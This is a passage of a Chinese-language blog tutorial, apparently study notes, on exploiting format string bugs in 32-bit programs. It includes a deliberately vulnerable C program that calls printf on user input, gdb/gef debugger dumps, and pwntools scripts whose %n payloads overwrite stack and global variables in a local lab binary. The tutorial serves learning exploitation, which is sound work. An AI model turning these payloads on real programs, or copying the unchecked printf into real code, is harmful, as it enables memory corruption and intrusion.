../sysdeps/i386/i686/multiarch/../../i586/strlen.S: No such file or directory.[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0x30785c5c ("\\x0"?)$ebx : 0x0 $ecx : 0xf7fb6000 → 0x001b1db0$edx : 0x0 $esp : 0xffffc4ec → 0xf7e45977 → <printf_positional+7575> add esp, 0x10$ebp : 0xffffca98 → 0xffffcfb8 → 0xffffd078 → 0x00000000$esi : 0xffffc680 → 0xffffffff$edi : 0xf7fb6d60 → 0xfbad2a84$eip : 0xf7e795f1 → <__strlen_ia32+49> mov ecx, DWORD PTR [eax]$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xffffc4ec│+0x0000: 0xf7e45977 → <printf_positional+7575> add esp, 0x10 ← $esp0xffffc4f0│+0x0004: 0x30785c5c ("\x0"?)0xffffc4f4│+0x0008: 0x000000000xffffc4f8│+0x000c: 0x00000028 ("("?)0xffffc4fc│+0x0010: 0x000000000xffffc500│+0x0014: 0xffffd008 → "\x0c\xa0\x04\x08%10$s"0xffffc504│+0x0018: 0x000000000xffffc508│+0x001c: 0x00000000─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7e795e7 <__strlen_ia32+39> xor BYTE PTR [edi], cl 0xf7e795e9 <__strlen_ia32+41> test BYTE PTR [eax+0x40000000], cl 0xf7e795ef <__strlen_ia32+47> xor edx, edx → 0xf7e795f1 <__strlen_ia32+49> mov ecx, DWORD PTR [eax] 0xf7e795f3 <__strlen_ia32+51> add eax, 0x4 0xf7e795f6 <__strlen_ia32+54> sub edx, ecx 0xf7e795f8 <__strlen_ia32+56> add ecx, 0xfefefeff 0xf7e795fe <__strlen_ia32+62> dec edx 0xf7e795ff <__strlen_ia32+63> jae 0xf7e79659 <__strlen_ia32+153>─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "leakmemory", stopped 0xf7e795f1 in __strlen_ia32 (), reason: SIGSEGV───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7e795f1 → __strlen_ia32()[#1] 0xf7e45977 → printf_positional(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=0xffffd008 "\\\\x0c\\\\xa0\\\\x04\\\\x08%10$s", readonly_format=0x0, ap=<optimized out>, ap_savep=0xffffcb7c, done=0x14, nspecs_done=0x0, lead_str_end=0xffffd01c "%10$s", work_buffer=0xffffcbb8 "@\001", save_errno=0x0, grouping=0x0, thousands_sep=0xf7f5f7d2 "")[#2] 0xf7e46401 → _IO_vfprintf_internal(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xffffcfe4 "\b\320\377\377\030\331\377\367\377\265", <incomplete sequence \360>)[#3] 0xf7e4d696 → __printf(format=0xffffd008 "\\\\x0c\\\\xa0\\\\x04\\\\x08%10$s")[#4] 0x804852c → main()────────────────────────────────────────────────────────────────────────────────gef➤ x/x 0xffffd0080xffffd008: 0x30785c5c<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="覆盖内存"><a href="#覆盖内存" class="headerlink" title="覆盖内存"></a>覆盖内存</h3><p>上面,我们已经展示了如何利用格式化字符串来泄露栈内存以及任意地址内存,那么我们有没有可能修改栈上变量的值呢,甚至修改任意地址变量的内存呢? 答案是可行的,只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。这里我们可以想一下格式化字符串中的类型</p><blockquote><p>%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。</p></blockquote><p>通过这个类型参数,再加上一些小技巧,我们就可以达到我们的目的,这里仍然分为两部分,<strong>一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量</strong>。</p><p>这里我们给出如下的程序来介绍相应的部分。</p><pre class="line-numbers language-c"><code class="language-c"><span class="token macro property">#<span class="token directive keyword">include</span> <span class="token string"><stdio.h></span></span><span class="token keyword">int</span> a <span class="token operator">=</span> <span class="token number">123</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token number">456</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">int</span> c <span class="token operator">=</span> <span class="token number">789</span><span class="token punctuation">;</span> <span class="token keyword">char</span> s<span class="token punctuation">[</span><span class="token number">100</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token function">scanf</span><span class="token punctuation">(</span><span class="token string">"%s"</span><span class="token punctuation">,</span> s<span class="token punctuation">)</span><span class="token punctuation">;</span> #<span class="token function">scanf</span><span class="token punctuation">(</span><span class="token punctuation">)</span>函数要放在<span class="token function">printf</span><span class="token punctuation">(</span><span class="token punctuation">)</span>前面,确保第一次在printf中断时,程序已经读入格式化字符串 <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"%p\n"</span><span class="token punctuation">,</span> <span class="token operator">&</span>c<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">printf</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>c <span class="token operator">==</span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"modified c."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">==</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"modified a for a small number."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>b <span class="token operator">==</span> <span class="token number">0x12345678</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"modified b for a big number!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>这里和wiki上有点区别,就在于第一个scanf(“%s”,s)和printf(“%p\n”,&c)的顺序。wiki上是printf在前,但是我按照他那样编译调试的时候stack中不能同时显示c的地址和格式化字符串的地址,所以我换了一下位置进行编译调试。但在后面修改c的值的时候,用此脚本编译出来的程序在接收c地址的时候出了点问题。</p></blockquote><p>编译成32位程序</p><pre class="line-numbers language-sh"><code class="language-sh">devil@ubuntu:~$ gcc -m32 -fno-stack-protector -no-pie -o overflow overflow.coverflow.c: In function ‘main’:overflow.c:9:10: warning: format not a string literal and no format arguments [-Wformat-security] printf(s); ^<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的payload</p><pre class="line-numbers language-sh"><code class="language-sh">...[overwrite addr]....%[overwrite offset]$n<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>其中…表示我们的填充内容,overwrite addr表示我们所要覆盖的地址,overwrite offset地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤</p><ul><li>确定覆盖地址</li><li>确定相对偏移</li><li>进行覆盖</li></ul><h4 id="覆盖栈内存"><a href="#覆盖栈内存" class="headerlink" title="覆盖栈内存"></a>覆盖栈内存</h4><h5 id="确定覆盖地址"><a href="#确定覆盖地址" class="headerlink" title="确定覆盖地址"></a>确定覆盖地址</h5><p>首先,我们自然是来想办法知道栈变量 c 的地址。由于目前几乎上所有的程序都开启了 aslr 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。</p><h5 id="确定相对偏移"><a href="#确定相对偏移" class="headerlink" title="确定相对偏移"></a>确定相对偏移</h5><p>其次,我们来确定一下存储格式化字符串的地址是printf将要输出的第几个参数()。这里我们通过之前的泄露栈变量数值的方法来进行操作。通过调试</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ gdb overflowgef➤ b printfBreakpoint 1 at 0x8048340gef➤ rStarting program: /home/devil/overflow %d%dBreakpoint 1, __printf (format=0x80485c3 "%p\n") at printf.c:2828 printf.c: No such file or directory.[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xffffd06c → 0x00000315$ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000$esp : 0xffffcfec → 0x080484c8 → <main+61> add esp, 0x10$ebp : 0xffffd078 → 0x00000000$esi : 0xf7fb6000 → 0x001b1db0$edi : 0xf7fb6000 → 0x001b1db0$eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xffffcfec│+0x0000: 0x080484c8 → <main+61> add esp, 0x10 ← $esp0xffffcff0│+0x0004: 0x080485c3 → "%p\n"0xffffcff4│+0x0008: 0xffffd06c → 0x000003150xffffcff8│+0x000c: 0x000000c20xffffcffc│+0x0010: 0xf7e946bb → <handle_intel+107> add esp, 0x100xffffd000│+0x0014: 0xffffd02e → 0xffff0000 → 0x000000000xffffd004│+0x0018: 0xffffd12c → 0xffffd30a → "XDG_VTNR=7"0xffffd008│+0x001c: "%d%d"─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4] 0xf7e4d66d nop 0xf7e4d66e xchg ax, ax → 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> ↳ 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp] 0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ────__x86.get_pc_thunk.ax ()─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "overflow", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7e4d670 → __printf(format=0x80485c3 "%p\n")[#1] 0x80484c8 → main()<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以发现在0xffffcff4处存储着变量c的数值(789==0x315)。继而,我们再确定格式化字符串’%d%d’的地址0xffffd008相对于printf函数的格式化字符串参数0xffffcff0的偏移为0x18,即格式化字符串地址相当于printf函数的第7个参数(0xffffcfec是printf函数的返回地址),相当于格式化字符串的第6个参数。</p><h5 id="进行覆盖"><a href="#进行覆盖" class="headerlink" title="进行覆盖"></a>进行覆盖</h5><p>这样,第 6 个参数处的值就是存储变量 c 的地址,我们便可以利用 %n 的特征来修改 c 的值。payload 如下</p><pre><code>[address of c]%012d%6$n</code></pre><p>address of c的长度为4(32位程序),故而我们得再输入12个字符才可以达到16个字符,以便来修改c的值为16。</p><blockquote><p>参数n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。前面已经成果输出了16个字符了,所以在这就相当于把格式化字符串的第6个参数c的值改写成了16。</p><p>参数012d:如果width选项前缀以0,则在左侧用0填充直至达到宽度要求。这里把012d换成’a’*12也可以。</p></blockquote><p>具体脚本如下</p><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">def</span> <span class="token function">forc</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span> sh <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./overwrite'</span><span class="token punctuation">)</span> c_addr <span class="token operator">=</span> int<span class="token punctuation">(</span>sh<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#原来是printf("%p\n",&c);drop=True表示接收\n之前的值,16表示以16进制的形式。</span> <span class="token keyword">print</span> hex<span class="token punctuation">(</span>c_addr<span class="token punctuation">)</span> payload <span class="token operator">=</span> p32<span class="token punctuation">(</span>c_addr<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">'%012d'</span> <span class="token operator">+</span> <span class="token string">'%6$n'</span> <span class="token keyword">print</span> payload gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>sh<span class="token punctuation">)</span> sh<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span> <span class="token keyword">print</span> sh<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span> sh<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>forc<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>我用这个脚本去打我上面编译出来的程序,发现c_addr一直接收不了,因为在printf(“%p\n”,&c);之前有一个scanf()语句,我发现就算是先send()一个数值也接收不到…于是我又用他的脚本编译了一次。</p></blockquote><pre class="line-numbers language-c"><code class="language-c"><span class="token macro property">#<span class="token directive keyword">include</span> <span class="token string"><stdio.h></span></span><span class="token keyword">int</span> a <span class="token operator">=</span> <span class="token number">123</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token number">456</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">int</span> c <span class="token operator">=</span> <span class="token number">789</span><span class="token punctuation">;</span> <span class="token keyword">char</span> s<span class="token punctuation">[</span><span class="token number">100</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"%p\n"</span><span class="token punctuation">,</span> <span class="token operator">&</span>c<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">scanf</span><span class="token punctuation">(</span><span class="token string">"%s"</span><span class="token punctuation">,</span> s<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">printf</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>c <span class="token operator">==</span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"modified c."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">==</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"modified a for a small number."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>b <span class="token operator">==</span> <span class="token number">0x12345678</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"modified b for a big number!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>关于pwntools里面的recvuntil脚本</p><pre class="line-numbers language-python"><code class="language-python"><span class="token operator">>></span><span class="token operator">></span> t <span class="token operator">=</span> tube<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">>></span><span class="token operator">></span> t<span class="token punctuation">.</span>recv_raw <span class="token operator">=</span> <span class="token keyword">lambda</span> n<span class="token punctuation">:</span> b<span class="token string">"Hello World!"</span><span class="token operator">>></span><span class="token operator">></span> t<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>b<span class="token string">' '</span><span class="token punctuation">)</span>b<span class="token string">'Hello '</span><span class="token operator">>></span><span class="token operator">></span> _<span class="token operator">=</span>t<span class="token punctuation">.</span>clean<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token operator">>></span><span class="token operator">></span> <span class="token comment" spellcheck="true"># Matches on 'o' in 'Hello'</span><span class="token operator">>></span><span class="token operator">></span> t<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token punctuation">(</span>b<span class="token string">' '</span><span class="token punctuation">,</span>b<span class="token string">'W'</span><span class="token punctuation">,</span>b<span class="token string">'o'</span><span class="token punctuation">,</span>b<span class="token string">'r'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>b<span class="token string">'Hello'</span><span class="token operator">>></span><span class="token operator">></span> _<span class="token operator">=</span>t<span class="token punctuation">.</span>clean<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token operator">>></span><span class="token operator">></span> <span class="token comment" spellcheck="true"># Matches expressly full string</span><span class="token operator">>></span><span class="token operator">></span> t<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>b<span class="token string">' Wor'</span><span class="token punctuation">)</span>b<span class="token string">'Hello Wor'</span><span class="token operator">>></span><span class="token operator">></span> _<span class="token operator">=</span>t<span class="token punctuation">.</span>clean<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token operator">>></span><span class="token operator">></span> <span class="token comment" spellcheck="true"># Matches on full string, drops match</span><span class="token operator">>></span><span class="token operator">></span> t<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>b<span class="token string">' Wor'</span><span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>b<span class="token string">'Hello'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></blockquote><p>结果如下</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ python exp.py [+] Starting local process './overflow_1': pid 38170xff9583ac[*] running in new terminal: /usr/bin/gdb -q "./overflow_1" 3817 -x "/tmp/pwnyrtF2W.gdb"[+] Waiting for debugger: Done\xac\x83\x95\xffaaaaaaaaaaaamodified c.[*] Switching to interactive mode[*] Process './overflow_1' stopped with exit code 0 (pid 3817)[*] Got EOF while reading in interactive<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>terminal里面的结果如下</p><pre class="line-numbers language-shell"><code class="language-shell">gef➤ b printfBreakpoint 1 at 0xf7deb670: file printf.c, line 28.gef➤ cContinuing.Breakpoint 1, __printf (format=0xff958348 "\254\203\225\377", 'a' <repeats 12 times>, "%6$n") at printf.c:2828 printf.c: No such file or directory.[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xff958348 → 0xff9583ac → 0x00000315$ebx : 0x0 $ecx : 0x1 $edx : 0xf7f5587c → 0x00000000$esp : 0xff95832c → 0x080484d7 → <main+76> add esp, 0x10$ebp : 0xff9583b8 → 0x00000000$esi : 0xf7f54000 → 0x001b1db0$edi : 0xf7f54000 → 0x001b1db0$eip : 0xf7deb670 → <printf+0> call 0xf7ec1b59 <__x86.get_pc_thunk.ax>$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xff95832c│+0x0000: 0x080484d7 → <main+76> add esp, 0x10 ← $esp0xff958330│+0x0004: 0xff958348 → 0xff9583ac → 0x000003150xff958334│+0x0008: 0xff958348 → 0xff9583ac → 0x000003150xff958338│+0x000c: 0x000000c20xff95833c│+0x0010: 0xf7e326bb → <handle_intel+107> add esp, 0x100xff958340│+0x0014: 0xff95836e → 0xffff00000xff958344│+0x0018: 0xff95846c → 0xff95a323 → "QT_QPA_PLATFORMTHEME=appmenu-qt5"0xff958348│+0x001c: 0xff9583ac → 0x00000315─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7deb667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4] 0xf7deb66d nop 0xf7deb66e xchg ax, ax → 0xf7deb670 <printf+0> call 0xf7ec1b59 <__x86.get_pc_thunk.ax> ↳ 0xf7ec1b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7ec1b5c <__x86.get_pc_thunk.ax+3> ret 0xf7ec1b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7ec1b60 <__x86.get_pc_thunk.dx+3> ret 0xf7ec1b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp] 0xf7ec1b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ────__x86.get_pc_thunk.ax ()─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "overflow_1", stopped 0xf7deb670 in __printf (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7deb670 → __printf(format=0xff958348 "\254\203\225\377", 'a' <repeats 12 times>, "%6$n")[#1] 0x80484d7 → main()────────────────────────────────────────────────────────────────────────────────gef➤ cContinuing.[Inferior 1 (process 3817) exited normally]<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>结果输出modified c,说明c的值的确被修改成了16.</p><h4 id="覆盖任意地址内存"><a href="#覆盖任意地址内存" class="headerlink" title="覆盖任意地址内存"></a>覆盖任意地址内存</h4><h5 id="覆盖小数字"><a href="#覆盖小数字" class="headerlink" title="覆盖小数字"></a>覆盖小数字</h5><p>首先,我们来考虑一下如何修改data段的变量为一个较小的数字,比如说,<strong>小于机器字长的数字</strong>。这里以 2 为例。可能会觉得这其实没有什么区别,可仔细一想,真的没有么?如果我们还是将要覆盖的地址放在最前面,那么将直接占用机器字长个 (4 或 8) 字节。显然,无论之后如何输出,都只会比 4 大。</p><blockquote><p>或许我们可以使用整型溢出来修改对应的地址的值,但是这样将面临着我们得一次输出大量的内容。而这,一般情况下,基本都不会攻击成功。</p></blockquote><p>那么我们应该怎么做呢?再仔细想一下,我们有必要将所要覆盖的变量的地址放在字符串的最前面么?似乎没有,我们当时只是为了寻找偏移,所以才把 tag 放在字符串的最前面,如果我们把 tag 放在中间,其实也是无妨的。类似的,我们把地址放在中间,只要能够找到对应的偏移,其照样也可以得到对应的数值。前面已经说了我们的格式化字符串对应的地址为格式化字符串的第 6 个参数。由于我们想要把 2 写到对应的地址处,故而格式化字符串的前面的字节必须是</p><pre class="line-numbers language-c"><code class="language-c">aa<span class="token operator">%</span>k$nxx <span class="token comment" spellcheck="true">//'k$'表示获取格式化字符串中的第k个参数,'%n'表示把已经成功输出的字符个数写入对应的整型指针参数所指的变量。这里已经成功输出的字符为'aa',所以把2写入地址为a_addr处,也就是把a的值覆盖为2.</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>此时对应的存储的格式化字符串(%k$nxx)已经占据了6个字符的位置,如果我们再添加两个字符aa,那么其实aa%k就是第6个参数(4个字符为1个参数),$nxx其实就是第7个参数,后面我们如果跟上我们要覆盖的地址,那就是第8个参数,所以如果我们这里设置k为8,其实就可以覆盖了。</p><p>利用 ida 可以得到 a 的地址为 0x0804A024(由于 a、b 是已初始化的全局变量,因此不在堆栈中)。</p><pre class="line-numbers language-assembly"><code class="language-assembly">.data:0804A024 public a.data:0804A024 a dd 7Bh ; DATA XREF: main:loc_80484F4↑r.data:0804A028 public b.data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510↑r.data:0804A028 _data ends<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>故而我们可以构造如下的利用代码</p><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token keyword">def</span> <span class="token function">fora</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span> sh <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./overflow_1'</span><span class="token punctuation">)</span> a_addr <span class="token operator">=</span> <span class="token number">0x0804A024</span> payload <span class="token operator">=</span> <span class="token string">'aa%8$naa'</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>a_addr<span class="token punctuation">)</span> sh<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span> <span class="token keyword">print</span> sh<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span> sh<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>fora<span class="token punctuation">(</span><span class="token punctuation">)</span> <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>对应的结果如下</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ python test.py [+] Starting local process './overflow_1': pid 53530xff820b7caaaa$\xa0\x04modified a for a small number.[*] Switching to interactive mode[*] Process './overflow_1' stopped with exit code 0 (pid 5353)[*] Got EOF while reading in interactive<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>小技巧:我们没有必要必须把地址放在最前面,放在哪里都可以,只要我们可以找到其对应的偏移即可。</p></blockquote><h5 id="覆盖大数字"><a href="#覆盖大数字" class="headerlink" title="覆盖大数字"></a>覆盖大数字</h5><p>上面介绍了覆盖小数字,接下来介绍一下覆盖大数字。上面我们说了,我们可以选择直接一次性输出大数字个字节来进行覆盖,但是这样基本也不会成功,因为太长了。而且即使成功,我们一次性等待的时间也太长了,那么有没有什么比较好的方式呢?^__^当然有!(不然还写个p的笔记)</p><p>不过在介绍之前,我们得先再简单了解一下,变量在内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在x86和x64的体系结构中,变量的存储格式为小端存储,即最低有效位存储在低地址(和我们通常习惯的顺序相反)。</p><p>举个例子,0x12345678在内存中由低地址到高地址依次为\x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:</p><pre><code>hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。输出一个字节h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。输出一个双字节</code></pre><p>所以说,我们可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节。这里,我们以单字节为例。</p><p>我们准备覆盖b的值,先用ida看一下b的地址为多少</p><pre class="line-numbers language-shell"><code class="language-shell">.data:0804A028 public b.data:0804A028 b dd 1C8h ; DATA XREF: <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>可以看出,b的地址为0x0804A028</p><p>我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。</p><pre><code>0x0804A028 \x780x0804A029 \x560x0804A02a \x340x0804A02b \x12</code></pre><p>我们在前面确定相对偏移的过程中确定了格式化字符串的地址是格式化字符串的第6个参数。所以我们的payload基本上如下</p><pre><code>p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3'%8$n'+pad4'%9$n'</code></pre><p>给出一个基本构造如下:</p><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token 